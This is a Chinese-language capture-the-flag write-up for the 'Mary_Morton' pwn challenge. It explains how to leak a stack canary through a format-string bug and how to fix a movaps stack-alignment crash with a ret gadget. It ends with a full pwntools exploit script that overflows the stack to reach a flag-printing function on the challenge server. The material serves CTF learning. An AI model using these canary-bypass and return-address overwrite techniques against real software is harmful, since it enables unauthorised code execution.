题目
来自攻防世界 : Mary_Morton
题目描述:非常简单的热身 pwn(然而打通我的新知识点:绕过 canary 保护)
附件就只有一个二进制文件。
前置知识
canary 保护
一般来说,canary 在栈的末尾插入一个值,退出函数时检查 canary 是不是原来的值,如果不是就退出程序。
不过可以通过一些方式来暴露 canary 的值从而在构造栈溢出时通过精准覆盖 canary 值从而绕过 canary 保护修改返回地址。比如可以通过格式化字符串漏洞查询 canary 对应栈帧的数据。
栈对齐
本题绕过 canary 后进行栈溢出注入后发现在远程运行 system 函数成功而本地无法运行的问题,通过检查发现与新 libc 栈对齐严格有关。
在段错误前 RIP 指向:
1
|
*RIP 0x7f4f3d666675 ◂— movaps xmmword ptr [rsp], xmm1
|
此时已经进入带 system 程序,只差临门一脚就可以获得 flag,可惜就死在这里。
1
2
3
4
5
6
7
8
9
10
11
12
|
; int sub_4008DA()
sub_4008DA proc near
; __unwind {
push rbp
mov rbp, rsp
mov edi, offset command ; "/bin/cat ./flag"
call _system
nop
pop rbp
retn
; } // starts at 4008DA
sub_4008DA endp
|
该函数如下,我们原先获得的地址从 push rbp 开始执行,如果跳过这行指令也就是对地址 + 1 ,就可以成功运行。亦或者通过 ROPgadget 获得 ret 在进入函数前执行从栈中弹出一个数据也可以正确执行。
1
|
ROPgadget --binary ./22e2d7579d2d4359a5a1735edddef631 --only 'ret'
|
问题在于最后一刻执行的代码: movaps 需要 16 字节对齐,在之前通过栈溢出覆盖了 rbp 的值,在函数结束的时候通过 leave 计算 esp 时基于错误的 ebp 计算出错误的 esp 导致 push 进入 libc 的一些代码段在对齐敏感指令下程序段错误崩溃……
不过问题没有那么简单,栈对齐问题也是在 ubuntu 18.04 后的 libc 才存在还要再多学习才能解释清楚。
分析程序
checksec 检查保护:
1
2
3
4
5
6
7
8
|
❮ pwn checksec --file=22e2d7579d2d4359a5a1735edddef631
[*] '/data/Hack/tmp/22e2d7579d2d4359a5a1735edddef631'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
|
开启了 canary 保护,仅有 Partial RELRO,可以篡改 got 表。
运行程序上来就提供栈溢出和字符串漏洞两个选项,进去都是一个标准输入等待输入,想必是和两个漏洞都有关了。
1
2
3
4
5
6
|
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
|
丢进 ida pro 反汇编后主要看 1 和 2 选项进去的函数:
Stack Bufferoverflow Bug
buf 有 136 字节的空间,对 0x80 (128) 清零空间,然后可以读入 0x10 (256) 字节的数据,明显有栈溢出漏洞。
但是因为有 canary 所以在 rbp 下 8 个字节存在 canary 值,不能直接栈溢出否则就会触发保护强制退出。
很明显的格式化字符串漏洞,使得我们可以借助其获得栈上的数据,比如 canary 值。
首先通过 pwntools 脚本得到偏移量为 6。
1
2
3
4
5
6
7
8
9
10
|
from pwn import *
p = process("./22e2d7579d2d4359a5a1735edddef631")
p.recvuntil(b"3. Exit the battle")
p.sendline(b"2")
sleep(0.5)
p.sendline(b"AAAAAAAA" + b".%p" * 10)
p.interactive()
|
通过 ida pro 的栈可知栈顶为 0x90 则 0x90 - 0x8 就是 canary 所在处。除 8 得 17 ,加上偏移量得出获得 canary 需要偏移 23 位。
etc
仅有这些还无法真正获得 flag,通过 shift+F12 查询字符串发现有: command db '/bin/cat ./flag',0 ,X 键交叉引用得到 sub_4008DA 函数可以获得 flag。
显然解决这道题的核心就在于栈溢出覆盖返回地址为 sub_4008DA 函数。
exp
首先是获得 canary 值,通过 printf 配合 recv() 方法和 python 的字符串操作很轻易就能得到:
1
2
3
4
5
6
7
8
9
|
p.recvuntil(b"3. Exit the battle")
p.sendline(b"2")
sleep(0.5)
"""
0x90 / 8 - 1 + 6 = 23
"""
p.sendline(b"AAAAAAAB" + b"%23$p")
p.recvuntil(b"B0x")
canary = int(p.recv(16).strip(), 16)
|
这里用 B0x 截取输出,然后通过 int 函数转换字符串,就得到 canary 的地址。
获得 canary 后就可以构造 payload 进行覆盖。查看栈溢出漏洞对应函数的栈空间:
结合 canary 可以构造出初步的 payload:
1
|
payload = cyclic(0x90 - 8) + p64(canary) + b"A" * 8 + p64(0x4008DA)
|
这个 payload 其实是行不通的,原因是栈对齐。
解决方法比较好的是通过 ROPgadget 找到 ret 在地址之前添上使得栈对齐
1
|
ROPgadget --binary ./22e2d7579d2d4359a5a1735edddef631 --only 'ret'
|
最终 exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
from pwn import *
context(gdb_binary="/lib/pwndbg-gdb/bin/pwndbg")
p = connect("61.147.171.103", 50583)
#p = process("./22e2d7579d2d4359a5a1735edddef631")
retAddr = 0x0000000000400659
p.recvuntil(b"3. Exit the battle")
p.sendline(b"2")
sleep(0.5)
"""
0x90 / 8 - 1 + 6 = 23
"""
p.sendline(b"AAAAAAAB" + b"%23$p")
p.recvuntil(b"B0x")
canary = int(p.recv(16).strip(), 16)
# payload = b"A" * (0x90 - 8) + p64(canary) + b"A" * 8 + p64(retAddr) + p64(0x4008DA)
payload = cyclic(0x90 - 8) + p64(canary) + b"A" * 8 + p64(retAddr) + p64(0x4008DA)
p.recvuntil(b"3. Exit the battle")
p.sendline(b"1")
sleep(0.5)
#gdb.attach(p)
p.sendline(payload)
p.interactive()
|
这里的 sleep(0.5) 就很玄学,延迟一会这样就能正确输入,否则常会出现压根没输入的问题。

参考资料
- pwn-canary保护和pie保护